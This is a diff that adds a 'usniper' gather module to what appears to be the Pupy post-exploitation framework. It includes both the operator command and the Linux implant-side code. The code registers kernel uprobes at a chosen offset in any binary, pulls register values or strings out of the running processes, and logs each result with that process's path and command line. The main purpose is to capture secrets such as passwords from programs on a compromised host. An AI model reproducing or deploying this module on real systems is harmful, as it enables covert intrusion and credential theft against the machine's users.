diff --git a/pupy/modules/usniper.py b/pupy/modules/usniper.py new file mode 100644 index 00000000..16b049be --- /dev/null +++ b/pupy/modules/usniper.py @@ -0,0 +1,89 @@ +# -*- coding: utf-8 -*- + +from pupylib.PupyModule import * +from pupylib.utils.rpyc_utils import obtain +from pupylib.PupyCmd import PupyCmd + +__class_name__ = 'USniper' + +@config(cat='gather', compat=['linux']) +class USniper(PupyModule): + ''' Globally capture string or register during execution at specified + physical offset and register using uprobes. Compatible with + kernels >3.5 (register) and >3.18 (string) ''' + + unique_instance = True + dependencies = { + 'linux': [ 'usniper' ] + } + + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog='usniper', description=self.__doc__) + commands = self.arg_parser.add_subparsers(help='commands') + start = commands.add_parser('start', help='Start USniper') + start.add_argument('-S', '--string', action='store_true', + default=False, help='Dereference as string (>3.18)') + start.add_argument('-R', '--ret', action='store_true', default=False, + help='Get value after return') + start.add_argument('-C', '--nochar', action='store_true', + default=False, help='Do not cast register to character') + start.add_argument('path', help='Absolute path to binary') + start.add_argument('offset', help='Offset in binary') + start.add_argument('reg', default='ax', nargs='?', + help='Get value from register') + start.set_defaults(func=self.start) + + stop = commands.add_parser('stop', help='stop USniper') + stop.set_defaults(func=self.stop) + + dump = commands.add_parser('dump', help='dump results') + dump.set_defaults(func=self.dump) + + def start(self, args): + if self.client.conn.modules['usniper'].start( + args.path, + args.offset, + args.reg, + args.ret, + 'string' if args.string else None, + None if ( args.string or args.nochar ) else 'chr' + ): + self.success('Unsipper started') + else: + self.error('Usniper start failed') + + def stop(self, args): + self.client.conn.modules['usniper'].stop() + self.success('Stop request was sent') + + def dump(self, args): + data = self.client.conn.modules['usniper'].dump() + if not data: + self.warning('No data collected') + return + + records = [] + + data = obtain(data) + for pid, values in data.iteritems(): + for timestamp, dumps in values['dump'].iteritems(): + if all(len(x) == 1 and type(x) in (str,unicode) for x in dumps): + records.append({ + 'PID': pid, + 'EXE': values['exe'], + 'CMD': ' '.join(values['cmd']), + 'DATA': ''.join(dumps) + }) + else: + for dump in dumps: + records.append({ + 'PID': pid, + 'DATA': dump, + 'EXE': values['exe'], + 'CMD': ' '.join(values['cmd']) + }) + + self.log(PupyCmd.table_format(records, wl=['PID', 'EXE', 'CMD', 'DATA'])) + + def run(self, args): + args.func(args) diff --git a/pupy/packages/linux/all/usniper.py b/pupy/packages/linux/all/usniper.py new file mode 100644 index 00000000..551248ff --- /dev/null +++ b/pupy/packages/linux/all/usniper.py @@ -0,0 +1,214 @@ +# -*- coding: utf-8 -*- + +import threading +import random +import string +import re +import os +import signal +import pupy +import builtins +import fcntl +import select + +class USniper(pupy.Task): + def __init__(self, manager, path, addr, reg='ax', ret=False, cast='', argtype=None): + super(USniper, self).__init__(manager) + + self._path = path + + if not os.path.isabs(self._path) or not os.path.exists(self._path): + raise ValueError('Executable {} not found'.format(self._path)) + + if ret: + self._match = re.compile( + '^\s*[^-]+-([\d]+)\s+\[[0-9]+\]\s+[a-z.]{4}\s(\d+)\.\d+:' + '\s+([^:]+):\s\(0x[a-f0-9]+\s\<\-\s0x[a-f0-9]+\)\s+arg1=(?:(?:0x)?([0-9a-f]+)|"([^"]+)"$)') + else: + self._match = re.compile( + '^\s*[^-]+-([\d]+)\s+\[[0-9]+\]\s+[a-z.]{4}\s(\d+)\.\d+:' + '\s+([^:]+):\s\(0x[a-f0-9]+\)\s+arg1=(?:(?:0x)?([0-9a-f]+)|"([^"]+)"$)') + + if type(addr) in (str, unicode): + if addr.startswith('0x'): + addr = int(addr[2:], 16) + else: + addr = int(addr) + + self._type = argtype + self._ret = ret + self._reg = '%' + reg + self._cast = cast + self._addr = hex(addr) if type(addr) in (int, long) else addr + self._worker = None + self._lock = threading.Lock() + self._fs = '/sys/kernel/debug' + self._pipe = None + self._marker = ''.join( + random.choice(string.ascii_uppercase + string.digits) for _ in range(16) + ) + + @property + def results(self): + with self._lock: + result = self._results + self._results = {} + return result + + def stop(self): + self._stopped.set() + with self._lock: + if self._pipe: + try: + os.close(self._pipe.fileno()) + except: + pass + + return True + + def task(self): + self._results = {} + + try: + with open('{}/tracing/uprobe_events'.format(self._fs), 'w') as events: + register = '{}:{} {}:{} {}\n'.format( + 'r' if self._ret else 'p', self._marker, self._path, self._addr, + '+0({}):{}'.format(self._reg, self._cast) if self._cast else self._reg + ) + events.write(register) + + except IOError: + self._stopped.set() + raise + + with open('{}/tracing/events/uprobes/{}/enable'.format(self._fs, self._marker), 'w') as trigger: + trigger.write('1\n') + + try: + with open('{}/tracing/trace_pipe'.format(self._fs), 'r') as trace: + self._pipe = trace + fd = trace.fileno() + flag = fcntl.fcntl(fd, fcntl.F_GETFL) + fcntl.fcntl(fd, fcntl.F_SETFL, flag | os.O_NONBLOCK) + + buf = '' + + while not self._stopped.is_set(): + rlist = [] + + try: + rlist, _, xlist = select.select([trace], [], [trace], 10) + except: + break + + if xlist: + break + + if not rlist: + continue + + try: + buf = buf + os.read(trace.fileno(), 4096) + except IOError: + break + + if not buf: + break + + if not '\n' in buf: + continue + + if buf.endswith('\n'): + lines = buf.split('\n') + buf = '' + else: + last_n = buf.rfind('\n') + buf, lines = buf[last_n+1:], buf[:last_n].split('\n') + + for line in lines: + if line.startswith('#'): + continue + + groups = self._match.match(line) + + if not groups or not groups.group(3) == self._marker: + continue + + pid = groups.group(1) + ts = groups.group(2) + reg = groups.group(4) + string = groups.group(5) + if reg: + value = int(reg, 16) + if self._type: + value = self._type(value) + elif string: + value = string + else: + value = '' + + with self._lock: + if not pid in self._results: + exe = os.readlink('/proc/{}/exe'.format(pid)) + cmdline = [] + with open('/proc/{}/cmdline'.format(pid)) as fcmdline: + cmdline = [ + x for x in fcmdline.read().split('\x00') if x + ] + + self._results[pid] = { + 'exe': exe, + 'cmd': cmdline, + 'dump': {} + } + + if not ts in self._results[pid]['dump']: + self._results[pid]['dump'][ts] = [] + + self._results[pid]['dump'][ts].append(value) + + except IOError, e: + if not e.errno == 9: + raise + + finally: + with self._lock: + if self._pipe: + self._pipe.close() + self._pipe = None + + with open('{}/tracing/events/uprobes/{}/enable'.format(self._fs, self._marker), 'w') as trigger: + trigger.write('0\n') + + try: + with open('{}/tracing/uprobe_events'.format(self._fs), 'w') as events: + events.write('-:{}\n'.format(self._marker)) + except: + pass + +def start(path, addr, reg='ax', ret=False, cast=None, argtype='chr'): + try: + if pupy.manager.active(USniper): + return False + except: + try: + pupy.manager.stop(USniper) + except: + pass + + if argtype and hasattr(builtins, argtype): + argtype = getattr(builtins, argtype) + else: + argtype = None + + return pupy.manager.create( + USniper, path, addr, reg, ret, cast, argtype + ) is not None + +def stop(): + return pupy.manager.stop(USniper) + +def dump(): + usniper = pupy.manager.get(USniper) + if usniper: + return usniper.results